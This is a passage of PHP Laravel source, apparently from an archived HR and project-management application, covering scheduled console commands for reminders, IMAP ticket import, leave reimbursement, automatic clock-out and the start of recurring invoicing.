($reqFrom) { 'bi-weekly' => $today->copy()->addDays(13), default => $today->copy()->addDays(6), }; if ($reqFrom == 'monthly') { $currentDate = $rotationDate ? Carbon::parse($rotationDate) : $today; $nextMonth = $today->copy()->addMonthNoOverflow(); $year = $nextMonth->format('Y'); $month = $nextMonth->format('m'); $date = Carbon::create($year, $month, 1); $daysInNextMonth = $date->daysInMonth; if ($daysInNextMonth < 30) { // End date is a day before the last date of next month (in feb.) if ($daysInNextMonth == 28) { $endDate = $date->copy()->endOfMonth()->subDay(); } else { $endDate = $currentDate->copy()->addDays($daysInNextMonth); } } else if($currentDate->daysInMonth < 30 && $daysInNextMonth >= 30){ // End date is a day before the last date of next month (in march) if ($currentDate->daysInMonth == 29) { $subDays = (31 - $currentDate->daysInMonth); $endDate = $currentDate->copy()->addDays($daysInNextMonth)->subDays($subDays); } elseif ($currentDate->daysInMonth == 28) { $subDays = (29 - $currentDate->daysInMonth); $endDate = $currentDate->copy()->addDays($daysInNextMonth)->subDays($subDays); } else { $subDays = (30 - $currentDate->daysInMonth); $endDate = $currentDate->copy()->addDays($daysInNextMonth)->subDays($subDays); } } else { $endDate = $currentDate->copy()->addMonth()->subDay(); // End date is a day before the same date of next month } } foreach ($officeOpenDays as $dayOfWeek) { if (isset($dayOfWeekMap[$dayOfWeek])) { for ($date = $startDate->copy(); $date->lte($endDate); $date->addDay()) { if ($date->dayOfWeek == $dayOfWeekMap[$dayOfWeek]) { $officeDays[] = $date->format('Y-m-d'); } } } } for ($date = $startDate->copy(); $date->lte($endDate); $date->addDay()) { if (!in_array($date->dayOfWeek, $officeOpenDays)) { $weekendDates[] = $date->format('Y-m-d'); } } sort($weekendDates); return $weekendDates; } private function getOfficeOpenDates($reqFrom, $dayOfWeekMap, $officeOpenDays, $holidaysForUser, $rotationDate = null) { $currentDates = []; $today = Carbon::now(); $holidayDates = $this->getUserHolidays($holidaysForUser); if ($reqFrom === 'bi-weekly') { $endDate = $today->copy()->addDays(13); // End date after 14 days from today } elseif ($reqFrom === 'monthly') { $currentDate = $rotationDate ? Carbon::parse($rotationDate) : $today; $nextMonth = $today->copy()->addMonthNoOverflow(); $year = $nextMonth->format('Y'); $month = $nextMonth->format('m'); $date = Carbon::create($year, $month, 1); $daysInNextMonth = $date->daysInMonth; if ($daysInNextMonth < 30) { // End date is a day before the last date of next month (feb.) $endDate = $currentDate->copy()->addDays($daysInNextMonth); } else if($currentDate->daysInMonth < 30 && $daysInNextMonth >= 30){ if ($currentDate->daysInMonth == 29) { $subDays = (31 - $currentDate->daysInMonth); $endDate = $currentDate->copy()->addDays($daysInNextMonth)->subDays($subDays); } else { $subDays = (30 - $currentDate->daysInMonth); $endDate = $currentDate->copy()->addDays($daysInNextMonth)->subDays($subDays); } } else { $endDate = $currentDate->copy()->addMonth()->subDay(); // End date is a day before the same date of next month } } else { $endDate = $today->copy()->addDays(6); // End date after 7 days from today } foreach ($officeOpenDays as $dayOfWeek) { if (isset($dayOfWeekMap[$dayOfWeek])) { for ($date = ($reqFrom === 'monthly' ? $currentDate : $today)->copy(); $date->lte($endDate); $date->addDay()) { if ($date->dayOfWeek == $dayOfWeekMap[$dayOfWeek] && !in_array($date->format('Y-m-d'), $holidayDates)) { $currentDates[] = $date->format('Y-m-d'); } } } } sort($currentDates); return $currentDates; } private function retrieveHolidaysForUser($employeeData) { return Holiday::where(function ($query) use ($employeeData) { $query->where(function ($subquery) use ($employeeData) { $subquery->where(function ($q) use ($employeeData) { $q->where('department_id_json', 'like', '%"' . $employeeData->employeeDetail->department_id . '"%') ->orWhereNull('department_id_json'); }); $subquery->where(function ($q) use ($employeeData) { $q->where('designation_id_json', 'like', '%"' . $employeeData->employeeDetail->designation_id . '"%') ->orWhereNull('designation_id_json'); }); $subquery->where(function ($q) use ($employeeData) { $q->where('employment_type_json', 'like', '%"' . $employeeData->employeeDetail->employment_type . '"%') ->orWhereNull('employment_type_json'); }); }); })->get()->pluck('date')->map(function ($date) { return $date->format('Y-m-d'); })->toArray(); } } Console/Commands/SendTimeTracker.php000064400000005020150325104510013435 0ustar00select(['companies.id as id', 'timezone', 'time']) ->join('log_time_for', 'log_time_for.company_id', '=', 'companies.id') ->where('tracker_reminder', 1) ->get(); if ($companies->isEmpty()) { $this->error('No Company with tracker_reminder enabled'); return Command::SUCCESS; } $currentDay = now()->format('Y-m-d'); foreach ($companies as $company) { $startDateTime = Carbon::parse($currentDay . ' ' . $company->time); $currentDateTime = now()->timezone($company->timezone); if ($currentDateTime->format('H:i') == $startDateTime->format('H:i')) { // Check if there's a holiday for the current day and company $holiday = Holiday::where('company_id', $company->id) ->where('date', $currentDay) ->exists(); if ($holiday) { continue; } $employeeIds = User::allEmployees(null, false, null, $company->id)->pluck('id'); $employeeIds->each(function ($employeeId) use ($currentDay) { $leaveExists = Leave::where('leave_date', $currentDay) ->where('status', 'approved') ->where('user_id', $employeeId) ->exists(); $timeLogExists = ProjectTimeLog::whereDate('start_time', $currentDay) ->where('user_id', $employeeId) ->exists(); $user = User::find($employeeId); if (!$leaveExists && !$timeLogExists && $user && $user->email_notifications) { event(new TimeTrackerReminderEvent($user)); } }); } } return Command::SUCCESS; } } Console/Commands/SendProjectReminder.php000064400000010155150325104510014324 0ustar00select([ 'companies.id as id', 'project_settings.id as pid', 'project_settings.*', ]) ->join('project_settings', 'project_settings.company_id', '=', 'companies.id') ->where('send_reminder', 'yes')->chunk(50, function ($companies) { foreach ($companies as $company) { $projects = Project::whereNotNull('deadline') ->whereDate('deadline', now($company->timezone)->addDays($company->remind_time)) ->where('company_id', $company->id) ->get() ->makeHidden('isProjectAdmin'); if ($projects->count() == 0) { continue; } $members = []; foreach ($projects as $project) { // Get project members foreach ($project->members as $member) { $members = Arr::add($members, $member->user->id, $member->user); } } $members = collect(array_values($members)); $users = []; if (in_array('admins', json_decode($company->remind_to)) && in_array('members', json_decode($company->remind_to))) { $admins = User::allAdmins($company->id)->makeHidden('unreadNotifications'); $users = $admins->merge($members); } else { if (in_array('admins', json_decode($company->remind_to))) { $users = User::allAdmins($company->id)->makeHidden('unreadNotifications'); } if (in_array('members', json_decode($company->remind_to))) { $users = collect($users)->merge($members); } } foreach ($users as $user) { $projectsArr = []; foreach ($user->member as $projectMember) { $projectsArr = Arr::add($projectsArr, $projectMember->project->id, $projectMember->project->makeHidden('isProjectAdmin')); } $projectsArr = collect(array_values($projectsArr)); if (!$user->isAdmin($user->id)) { $projectsArr = $this->filterProjects($projectsArr, $company); } else { $projectsArr = !in_array('admins', json_decode($company->remind_to)) ? $this->filterProjects($projectsArr, $company) : $projects; } if ($projectsArr->count()) { event(new ProjectReminderEvent($projectsArr, $user, ['company' => $company, 'project_setting' => $company])); } } } }); return Command::SUCCESS; } public function filterProjects($projectsArr, $company) { return $projectsArr->filter(function ($project) use ($company) { return Carbon::parse($project->deadline, $company->timezone)->equalTo(now($company->timezone)->addDays($company->remind_time)->startOfDay()); }); } } Console/Commands/BirthdayReminderCommand.php000064400000004100150325104510015142 0ustar00format('m-d'); // Retrieve all companies Company::active()->select('id')->chunk(50, function ($companies) use ($currentDay) { // Loop through each company foreach ($companies as $company) { // Retrieve all active employees with an upcoming birthday for the current company $upcomingBirthday = EmployeeDetails::join('users', 'employee_details.user_id', '=', 'users.id') ->where('employee_details.company_id', $company->id) ->where('users.status', 'active') ->whereRaw('DATE_FORMAT(`date_of_birth`, "%m-%d") = "' . $currentDay . '"') ->orderBy('employee_details.date_of_birth') ->select('employee_details.company_id', 'employee_details.date_of_birth', 'users.name', 'users.image', 'users.id') ->get() ->toArray(); // If there is any employee with an upcoming birthday, trigger the "BirthdayReminderEvent" if ($upcomingBirthday != null) { event(new BirthdayReminderEvent($company, $upcomingBirthday)); } } }); return Command::SUCCESS; } } Console/Commands/FetchTicketEmails.php000064400000023143150325104510013747 0ustar00select(['companies.id as id', 'timezone', 'ticket_email_settings.*']) ->join('ticket_email_settings', 'ticket_email_settings.company_id', '=', 'companies.id') ->where('ticket_email_settings.status', 1) ->chunk(50, function ($companies) use ($smtpSetting) { foreach ($companies as $company) { $this->company = $company; if (!in_array(config('app.env'), ['demo', 'development'])) { $driver = ($smtpSetting->mail_driver != 'mail') ? $smtpSetting->mail_driver : 'sendmail'; Config::set('mail.default', $driver); Config::set('mail.mailers.smtp.host', $smtpSetting->mail_host); Config::set('mail.mailers.smtp.port', $smtpSetting->mail_port); Config::set('mail.mailers.smtp.username', $smtpSetting->mail_username); Config::set('mail.mailers.smtp.password', $smtpSetting->mail_password); Config::set('mail.mailers.smtp.encryption', $smtpSetting->mail_encryption); Config::set('queue.default', $smtpSetting->mail_connection); } Config::set('imap.accounts.default.host', $company->imap_host); Config::set('imap.accounts.default.port', $company->imap_port); Config::set('imap.accounts.default.encryption', $company->imap_encryption); Config::set('imap.accounts.default.username', $company->mail_username); Config::set('imap.accounts.default.password', $company->mail_password); $client = Client::account('default'); /* @phpstan-ignore-line */ $client->connect(); $oFolder = $client->getFolder('INBOX'); $messages = $oFolder->query()->since(today())->get(); /** @var Message $message */ foreach ($messages as $message) { /* echo($message->getFrom()[0]->personal)."\n"; // echo $message->getUid()."\n"; // echo $message->getSubject()."\n"; // echo 'Attachments: '.$message->getAttachments()->count()."\n"; // echo $message->getMessageId()."\n"; // echo $message->getInReplyTo()."\n"; // echo $message->getFrom()[0]->mail."\n"; // print_r($message->getAttributes())."\n"; // echo $message->getHTMLBody(true); // echo $message->getTextBody(true); */ $data = [ 'name' => trim($message->getFrom()[0]->personal), 'email' => trim($message->getFrom()[0]->mail), 'subject' => $message->getSubject(), 'text' => $message->getHTMLBody() != '' ? $message->getHTMLBody() : $message->getRawBody(), 'imap_message_id' => $message->getMessageId(), 'imap_message_uid' => $message->getUid(), 'imap_in_reply_to' => !is_null($message->getInReplyTo()) ? str_replace(array('<', '>'), '', $message->getInReplyTo()) : null, ]; $checkTicket = TicketReply::with(['ticket' => function ($q) use ($company) { $q->where('company_id', $company->id); }])->where('imap_message_uid', $data['imap_message_uid']) ->withTrashed() ->first(); if (is_null($checkTicket) && !is_null($data['imap_in_reply_to'])) { $checkReplyTo = TicketReply::with(['ticket' => function ($q) use ($company) { $q->where('company_id', $company->id); }])->where('imap_message_id', $data['imap_in_reply_to'])->withTrashed()->first(); } if (is_null($checkTicket)) { if (isset($checkReplyTo)) { $this->createTicketReply($checkReplyTo->ticket, $data, $company->id); } else { $this->createTicket($data, $company->id); } } } } }); return Command::SUCCESS; } public function createTicket($data, $companyId) { $existing_user = User::withoutGlobalScope(ActiveScope::class)->select('id', 'email')->where('company_id', $companyId)->where('email', $data['email'])->first(); $newUser = $existing_user; if (!$existing_user) { // create new user $client = new User(); $client->company_id = $companyId; $client->name = $data['name']; $client->email = $data['email']; $client->save(); // attach role $role = Role::where('company_id', $companyId)->where('name', 'client')->select('id')->first(); $client->attachRole($role->id); $clientDetail = new ClientDetails(); $clientDetail->company_id = $companyId; $clientDetail->user_id = $client->id; $clientDetail->save(); $client->assignUserRolePermission($role->id); $newUser = $client; } // Create New Ticket $ticket = new Ticket(); $ticket->company_id = $companyId; $ticket->subject = $data['subject']; $ticket->status = 'open'; $ticket->user_id = $newUser->id; $ticket->priority = 'medium'; $ticket->save(); // Save first message $reply = new TicketReply(); $reply->message = $data['text']; $reply->ticket_id = $ticket->id; $reply->user_id = $newUser->id; // Current logged in user $reply->imap_message_id = $data['imap_message_id']; $reply->imap_message_uid = $data['imap_message_uid']; $reply->imap_in_reply_to = $data['imap_in_reply_to']; $reply->save(); $this->sendNotifications($reply); } public function createTicketReply($ticket, $data, $companyId) { $existing_user = User::withoutGlobalScope(ActiveScope::class)->select('id', 'email')->where('company_id', $companyId)->where('email', $data['email'])->first(); $newUser = $existing_user; if (!$existing_user) { // create new user $client = new User(); $client->company_id = $companyId; $client->name = $data['name']; $client->email = $data['email']; $client->save(); // attach role $role = Role::where('name', 'client')->select('id')->first(); $client->attachRole($role->id); $clientDetail = new ClientDetails(); $clientDetail->company_id = $companyId; $clientDetail->user_id = $client->id; $clientDetail->save(); $client->assignUserRolePermission($role->id); $newUser = $client; } $reply = new TicketReply(); $reply->message = $data['text']; $reply->ticket_id = $ticket->id; $reply->user_id = $newUser->id; // Current logged in user $reply->imap_message_id = $data['imap_message_id']; $reply->imap_message_uid = $data['imap_message_uid']; $reply->imap_in_reply_to = $data['imap_in_reply_to']; $reply->save(); $this->sendNotifications($reply); } public function sendNotifications($ticketReply) { $ticketReply->ticket->touch(); $ticketEmailSetting = $this->company; if (!is_null($ticketReply->ticket->agent) && $ticketReply->user_id != $ticketReply->ticket->agent_id) { event(new TicketReplyEvent($ticketReply, $ticketReply->ticket->agent)); } else if (is_null($ticketReply->ticket->agent)) { event(new TicketReplyEvent($ticketReply, null)); } else { event(new TicketReplyEvent($ticketReply, $ticketReply->ticket->client)); } if (!is_null($ticketReply->ticket->agent_id)) { if ($ticketReply->ticket->agent_id == $ticketReply->user_id) { $toEmail = $ticketReply->ticket->client->email; } else { $toEmail = $ticketReply->ticket->agent->email; } event(new MailTicketReplyEvent($ticketReply, $ticketEmailSetting)); } } } Console/Commands/AnnualReimburseLeaves.php000064400000033005150325104510014651 0ustar00argument('company'); $userID = $this->argument('user'); $leaveTypeID = $this->argument('leaveType'); $force = $this->argument('force'); // dd($force, $companyID, $userID, $leaveTypeID); $companies = Company::active()->with(['leaveTypes' => function ($query) use ($leaveTypeID) { $query->where('unused_leave', 'paid')->where('leavetype', 'yearly'); if ($leaveTypeID != '') { return $query->where('id', $leaveTypeID); } return $query; }]); if ($companyID != '') { $companies = $companies->where('id', $companyID); } $companies->chunk(10, function ($companies) use ($userID, $force) { foreach ($companies as $company) { $leaveTypes = $company->leaveTypes; $settings = $company; $users = User::withoutGlobalScopes()->whereHas('employeeDetail') ->with(['leaves', 'leaveTypes', 'leaveTypes.leaveType', 'employeeDetail']) ->where('company_id', $company->id); if ($userID != '') { $users = $users->where('id', $userID); } $users = $users->get(); foreach ($users as $user) { if (is_null($user->employeeDetail->joining_date)) { continue; } if ($settings && $settings->leaves_start_from == 'joining_date') { $currentYearJoiningDate = Carbon::parse($user->employeeDetail->joining_date->format((now($settings->timezone)->year) . '-m-d')); $startingDate = $currentYearJoiningDate->startOfMonth(); if ($currentYearJoiningDate->copy()->format('Y-m-d') != now($settings->timezone)->format('Y-m-d') && $force != 'true') { continue; } if ($startingDate->lt($user->employeeDetail->joining_date)) { $startingDate = $user->employeeDetail->joining_date->startOfMonth(); } } else { // yearly setting year_start $yearFrom = $settings && $settings->year_starts_from ? $settings->year_starts_from : 1; $startingDate = Carbon::create(now()->year, $yearFrom)->startOfMonth(); if ($startingDate->copy()->format('Y-m-d') != now()->format('Y-m-d') && $force != 'true') { continue; } } if ($startingDate->isFuture()) { $carryForwardAppliedYear = $startingDate->copy()->subYear(2)->year; } else { $carryForwardAppliedYear = $startingDate->copy()->subYear()->year; } foreach ($leaveTypes as $value) { $leaveQuota = EmployeeLeaveQuota::where('user_id', $user->id)->where('leave_type_id', $value->id)->first(); $joiningDate = $user->employeeDetail->joining_date->copy(); if (($leaveQuota && $leaveQuota->leave_type_impact == 1)) { $noOfLeavesAlloted = $leaveQuota->no_of_leaves; } else { $noOfLeavesAlloted = $this->calculateNoOfLeavesAlloted($settings, $joiningDate, $user, $value); } $noOfLeavesTaken = $this->calculateNoOfLeavesTaken($settings, $joiningDate, $user, $value, $carryForwardAppliedYear); $noOfRemainingLeaves = $noOfLeavesAlloted - $noOfLeavesTaken; if ($noOfRemainingLeaves < 0) { $noOfRemainingLeaves = 0; } $noOfLeavesUnused = $leaveQuota->unused_leaves ?? 0; // $this->info('Leaves Remaining :: '. $user->name.' ' .$value->type_name.' '. $noOfRemainingLeaves); // $this->info('Leaves Overutilised :: '. $user->name.' ' .$value->type_name.' '. $noOfOverutilisedLeaves); // $this->info('Leaves Unused :: '. $user->name.' ' .$value->type_name.' '. $noOfLeavesUnused); if ($leaveQuota && $value->unused_leave == 'paid') { $leaveQuota->leaves_to_reimburse = $noOfRemainingLeaves; $leaveQuota->leaves_actually_reimbursed = $noOfRemainingLeaves; $leaveQuota->save(); } } } } }); } public function calculateNoOfLeavesAlloted($settings, $joiningDate, $user, $value) { $leaves = $value->no_of_leaves; $leaveToSubtract = 0; if ($settings && $settings->leaves_start_from == 'joining_date') { $currentYearJoiningDate = Carbon::parse($user->employeeDetail->joining_date->format((now($settings->timezone)->year) . '-m-d'));; if (now()->gt($currentYearJoiningDate)) { $differenceMonth = now()->startOfMonth()->diffInMonths($currentYearJoiningDate->copy()->startOfMonth()); } else { $differenceMonth = now()->startOfMonth()->diffInMonths($currentYearJoiningDate->copy()->subYear()->startOfMonth()); } $differenceMonth = $differenceMonth + 1; // Include current month also $countOfMonthsAllowed = $differenceMonth > 12 ? $differenceMonth - 12 : $differenceMonth; if ($user->employeeDetail->joining_date->year == now()->year && $value->leavetype == 'yearly') { // Calculate remaining days after full months $remainingDays = now()->diffInDays($currentYearJoiningDate->copy()->subMonths($differenceMonth)); $remainingDays += 2; // adding 2 for becaus same day and next day is not counting as diff if ($remainingDays >= 16) { $countOfMonthsAllowed++; $remainingDays = 0; } } } else { // yearly setting year_start $yearFrom = $settings && $settings->year_starts_from ? $settings->year_starts_from : 1; $startingDate = Carbon::create(now()->year, $yearFrom)->startOfMonth(); $differenceMonth = ($user->employeeDetail->joining_date->year == now()->year) ? now()->startOfMonth()->diffInMonths($joiningDate->copy()->startOfMonth()) : now()->startOfMonth()->diffInMonths($startingDate); $differenceMonth = $differenceMonth + 1; // Include current month also $countOfMonthsAllowed = $differenceMonth > 12 ? $differenceMonth - 12 : $differenceMonth; $remainingDays = 0; $currentYearJoiningDate = Carbon::parse($user->employeeDetail->joining_date->format((now($settings->timezone)->year) . '-m-d'));; if ($user->employeeDetail->joining_date->year == now()->year && $value->leavetype == 'yearly') { $remainingDays = now()->diffInDays($currentYearJoiningDate->copy()->subMonths($differenceMonth)); $remainingDays += 2; // adding 2 for becaus same day and next day is not counting as diff if ($remainingDays >= 16) { $countOfMonthsAllowed++; $remainingDays = 0; } } } if ($settings && $settings->leaves_start_from == 'year_start' && $joiningDate->gt(now($settings->timezone)->startOfyear()) // Check joining was less than 1 year ) { // give half leave for the month if joining date is after 15th of the month if ($value->leavetype == 'yearly') { $leaveToSubtract = ($joiningDate->diffInMonths($startingDate)); $monthlyLeaves = ($value->no_of_leaves / 12); // Assign no of leaves according to date of joining if joined the same year if ($joiningDate->diffInMonths($startingDate) < 12) { $leaveToSubtract = ($monthlyLeaves * $leaveToSubtract); } if ($joiningDate->day > 15) { $leaveToSubtract = ($monthlyLeaves / 2) + ($leaveToSubtract); } } else { if ($joiningDate->day > 15) { $leaveToSubtract = ($value->no_of_leaves / 2); } } } if ($settings && $settings->leaves_start_from == 'joining_date' && $joiningDate->day > 15 && (now()->startOfMonth()->diffInMonths($user->employeeDetail->joining_date->startOfMonth()) < 12) // Check joining was less than 1 year ) { // give half leave for the month if joining date is after 15th of the month if ($value->leavetype == 'yearly') { $monthlyLeaves = ($value->no_of_leaves / 12); $leaveToSubtract = ($monthlyLeaves / 2); } else { $leaveToSubtract = ($value->no_of_leaves / 2); } } if ($value->leavetype == 'yearly') { $leaves = $value->no_of_leaves - $leaveToSubtract; } else if ($value->leavetype == 'monthly') { $leaves = ($value->no_of_leaves * $countOfMonthsAllowed) - $leaveToSubtract; } $noOfLeavesAlloted = number_format((float)$leaves, 2, '.', ''); // Round off the fraction value for clear calculation and usage. // If fraction is between 0 to 0.5 then consider it as 0.5 // If fraction is between 0.5 to 0.99 then consider it as 1 $whole = floor($noOfLeavesAlloted); $fraction = $noOfLeavesAlloted - $whole; if ($fraction > 0 && $fraction <= 0.5) { $noOfLeavesAlloted = $whole + 0.5; } else if ($fraction > 0.5 && $fraction <= 0.99) { $noOfLeavesAlloted = $whole + 1; } // $this->info('Leaves Alloted :: '. $user->name.' ' .$value->type_name.' '. $noOfLeavesAlloted); return $noOfLeavesAlloted; } public function calculateNoOfLeavesTaken($settings, $joiningDate, $user, $value, $carryForwardAppliedYear) { $currentYearJoiningDate = Carbon::parse($joiningDate->format($carryForwardAppliedYear . '-m-d')); if ($currentYearJoiningDate->isFuture()) { $currentYearJoiningDate->subYear(); } $leaveFrom = $currentYearJoiningDate->copy()->toDateString(); $leaveTo = $currentYearJoiningDate->copy()->addYear()->toDateString(); if ($settings->leaves_start_from !== 'joining_date') { $leaveStartYear = Carbon::parse(now()->format((now($settings->timezone)->year) . '-' . $settings->year_starts_from . '-01')); if ($leaveStartYear->isFuture()) { $leaveStartYear = $leaveStartYear->subYear(); } $leaveFrom = $leaveStartYear->copy()->toDateString(); $leaveTo = $leaveStartYear->copy()->addYear()->toDateString(); } $fullDay = Leave::where('user_id', $user->id) ->whereBetween('leave_date', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('leave_type_id', $value->id) ->where('duration', '<>', 'half day') ->count(); $halfDay = Leave::where('user_id', $user->id) ->whereBetween('leave_date', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('leave_type_id', $value->id) ->where('duration', 'half day') ->count(); $noOfLeavesTaken = ($fullDay + ($halfDay / 2)); // $this->info('Leaves Taken :: '. $user->name.' ' .$value->type_name.' '. $noOfLeavesTaken); return $noOfLeavesTaken; } public function calculateNoOfLeavesTakenCurrentMonth($settings, $user, $value) { $leaveFrom = now($settings->timezone)->startOfMonth()->toDateString(); $leaveTo = now($settings->timezone)->endOfMonth()->toDateString(); $fullDay = Leave::where('user_id', $user->id) ->whereBetween('created_at', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('leave_type_id', $value->id) ->where('duration', '<>', 'half day') ->count(); $halfDay = Leave::where('user_id', $user->id) ->whereBetween('created_at', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('leave_type_id', $value->id) ->where('duration', 'half day') ->count(); $noOfLeavesTaken = ($fullDay + ($halfDay / 2)); // $this->info('Leaves Taken Current Month :: '. $user->name.' ' .$value->type_name.' '. $noOfLeavesTaken); return $noOfLeavesTaken; } } Console/Commands/AutoClockOut.php000064400000023072150325104510012774 0ustar00select(['companies.id as id', 'timezone']) ->join('attendances', 'attendances.company_id', '=', 'companies.id') ->whereNull('attendances.clock_out_time') ->where(DB::raw('DATE(clock_in_time)'), now()->subDay()->format('Y-m-d')) ->orWhere(DB::raw('DATE(clock_in_time)'), now()->format('Y-m-d')) ->get(); if ($companies->isEmpty()) { $this->error("No Company's attendance without Clock out found"); return Command::SUCCESS; } foreach ($companies as $company) { $this->info('-----------Auto ClockOut Initiated------------------'); $this->info('Company ID: ' . $company->id); $runCron = AttendanceSetting::where('company_id', $company->id)->first(); if ($runCron) { if ($runCron->show_clock_in_button == 'yes') { continue; } } $shifts = EmployeeShift::where('company_id', $company->id)->where('shift_name', '<>', 'Day Off')->where('shift_type', 'strict')->get(); foreach ($shifts as $shift) { $this->info('--------------------------------------------------------------------------------------------------'); $this->info('Shift ID: ' . $shift->id); $this->info('Shift Name: ' . $shift->shift_name); $shiftStartTime = Carbon::parse($shift->office_start_time, $company->timezone); // if early clock in is not null if (!is_null($shift->early_clock_in)) { $shiftStartTime->subMinutes($shift->early_clock_in); } $shiftEndTime = Carbon::parse($shift->office_end_time, $company->timezone); // ----------------------------------------------------------------------------------------------- $startTimestamp = now($company->timezone)->format('Y-m-d') . ' ' . $shift->office_start_time; $endTimestamp = now($company->timezone)->format('Y-m-d') . ' ' . $shift->office_end_time; $officeEndTimeDB = Carbon::createFromFormat('Y-m-d H:i:s', $endTimestamp, $company->timezone); $timeIndian = Carbon::createFromFormat('H:i:s', $shift->office_end_time)->copy()->setTimezone($company->timezone); $offsetInMinutes = $timeIndian->offset / 60; $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $startTimestamp, $company->timezone); $officeEndTime = Carbon::createFromFormat('Y-m-d H:i:s', $endTimestamp, $company->timezone); // shift crossed a day if ($officeStartTime->gt($officeEndTime)) { // check if shift end time is less then current time then shift not ended yet if (now($company->timezone)->lessThan($officeEndTime)) { $officeStartTime->subDay(); } else if (now($company->timezone)->greaterThan($officeEndTime) && now($company->timezone)->lessThan($officeStartTime)) { $officeStartTime->subDay(); } else { $officeEndTime->addDay(); } } // ----------------------------------------------------------------------------------------------- $this->info('After Shift start time: ' . $officeStartTime); $this->info('Shift end time: ' . $officeEndTime); $this->info('now = ' . now($company->timezone)); // $autoClockOutTime = $shiftEndTime->copy()->addHours($shift->auto_clock_out_time); $autoClockOutTime = $officeEndTime->copy()->addHours($shift->auto_clock_out_time); $this->info('Auto clock-out time: ' . $autoClockOutTime); $this->info('Query Date = ' . $shiftEndTime->format('Y-m-d')); $this->info('shiftendtime : ' . $shiftEndTime); $currentTime = Carbon::now($company->timezone)->timezone('UTC'); $Utc = now($company->timezone)->format('p'); $attendances = Attendance::whereNull('clock_out_time') ->select('id', 'auto_clock_out', 'clock_in_time', 'clock_out_time') ->whereNotNull('clock_in_time') ->where('company_id', $company->id) ->where('employee_shift_id', $shift->id) ->where(function ($query) use ($officeStartTime, $officeEndTime, $Utc) { $query->whereBetween(DB::raw("CONVERT_TZ(clock_in_time, '+00:00', '{$Utc}')"), [$officeStartTime, $officeEndTime]); }) ->get(); foreach ($attendances as $attendance) { $this->info('Attendance ID: ' . $attendance->id); // Assuming each attendance record is associated with a shift via a foreign key $clockInTime = Carbon::parse($attendance->clock_in_time)->timezone('UTC'); $this->info('clockInTime' . $clockInTime); $this->info('shiftEndTime' . $shiftEndTime); $this->info('-------Shift start time: ' . $officeStartTime); $this->info('-------Shift end time: ' . $officeEndTime); $this->info('----------------------------'); $this->info('clockInTime = ' . $clockInTime); $this->info('autoClockOutTime = ' . $autoClockOutTime); $this->info('shiftEndTime = ' . $shiftEndTime); $this->info('currentTime = ' . $currentTime); $this->info('check if currentTime >= autoClockOutTime'); $this->info('----------------------------'); // Check if current time is greater than or equal to shift end time + auto clock out time if ($currentTime->greaterThanOrEqualTo($autoClockOutTime)) { $this->info('Auto clock-out time reached'); // $attendance->clock_out_time = $shiftEndTime->format('Y-m-d H:i:s'); $attendance->clock_out_time = $officeEndTimeDB->subMinutes($offsetInMinutes); $attendance->auto_clock_out = 1; $attendance->save(); $this->info('Self Clock out Marked'); $this->info("Auto clocked-out attendance ID: {$attendance->id}"); } } } $flexibleShifts = EmployeeShift::where('company_id', $company->id)->where('shift_name', '<>', 'Day Off')->where('shift_type', 'flexible')->get(); foreach ($flexibleShifts as $shift) { $this->info('--------------------------------------------------------------------------------------------------'); $this->info('Shift ID: ' . $shift->id); $this->info('Shift Name: ' . $shift->shift_name); $attendances = Attendance::whereNull('clock_out_time') ->select('id', 'auto_clock_out', 'clock_in_time', 'clock_out_time') ->whereNotNull('clock_in_time') ->where('company_id', $company->id) ->where('employee_shift_id', $shift->id) ->get(); foreach ($attendances as $attendance) { $this->info('Attendance ID: ' . $attendance->id); // Assuming each attendance record is associated with a shift via a foreign key $totalTime = 0; $endTime = now(); $this->info('Clocked minutes ' . $attendance->clock_in_time); $totalTime = $totalTime + $endTime->diffInSeconds($attendance->clock_in_time); $totalMinimumMinutes = ($shift->flexible_total_hours * 60); $clockedTotalMinutes = floor($totalTime / 60); $autoClockoutMinutes = ($shift->flexible_auto_clockout * 60); $this->info('Required minutes ' . $totalMinimumMinutes); $this->info('Clocked minutes ' . $clockedTotalMinutes); $this->info('Auto Clockout minutes ' . $autoClockoutMinutes); if ($clockedTotalMinutes >= ($totalMinimumMinutes + $autoClockoutMinutes)) { $this->info('Auto Clockout done.'); $attendance->clock_out_time = $attendance->clock_in_time->addHours($shift->flexible_total_hours)->toDateTimeString(); $attendance->auto_clock_out = 1; $attendance->save(); } } } $this->info('Auto clock-out process completed.'); } return Command::SUCCESS; } } Console/Commands/SendTaskReminder.php000064400000005310150325104510013615 0ustar00select(['id', 'timezone', 'before_days', 'after_days', 'on_deadline'])->chunk(50, function ($companies) { // Loop through each company foreach ($companies as $company) { // Get current time in company's timezone $now = now($company->timezone); // If the company has set "before_days" if ($company->before_days > 0) { $beforeDeadline = $now->clone()->subDays($company->before_days)->format('Y-m-d'); $this->sendReminders($beforeDeadline, $company); } // If the company has set "after_days" if ($company->after_days > 0) { $afterDeadline = $now->clone()->addDays($company->after_days)->format('Y-m-d'); $this->sendReminders($afterDeadline, $company); } // If the company has set "on_deadline" if ($company->on_deadline) { $onDeadline = $now->clone()->format('Y-m-d'); $this->sendReminders($onDeadline, $company); } } }); return Command::SUCCESS; } /** * Send task reminders for the given date and company. * * @param string $dueDate * @param Company $company * * @return void */ private function sendReminders(string $dueDate, Company $company) { // Get the "completed" taskboard column for the company $completedTaskColumn = TaskboardColumn::where('company_id', $company->id) ->where('slug', 'completed') ->first(); // Get all tasks for the given date and company that are not in the "completed" column $tasks = Task::where('due_date', $dueDate) ->where('company_id', $company->id) ->where('board_column_id', '<>', $completedTaskColumn->id) ->get(); // Loop through each task foreach ($tasks as $task) { // Fire a TaskReminderEvent for the task event(new TaskReminderEvent($task)); } } } Console/Commands/AutoCreateRecurringInvoices.php000064400000020674150325104510016042 0ustar00where('status', 'active') ->whereNotNull('next_invoice_date') ->get(); // Check the count of recurringInvoices and return from here if ($recurringInvoices->isEmpty()) { $this->info('No Recurring invoice in database'); return Command::SUCCESS; } foreach ($recurringInvoices as $recurring) { $company = $recurring->company; $this->info('Running for company:' . $company->id); $totalExistingCount = $recurring->recurrings->count(); if ($recurring->unlimited_recurring == 1 || ($totalExistingCount < $recurring->billing_cycle)) { if ($recurring->issue_date->timezone($company->timezone)->isToday() && $totalExistingCount == 0) { $this->invoiceCreate($recurring); $this->saveNextInvoiceDate($recurring); } if 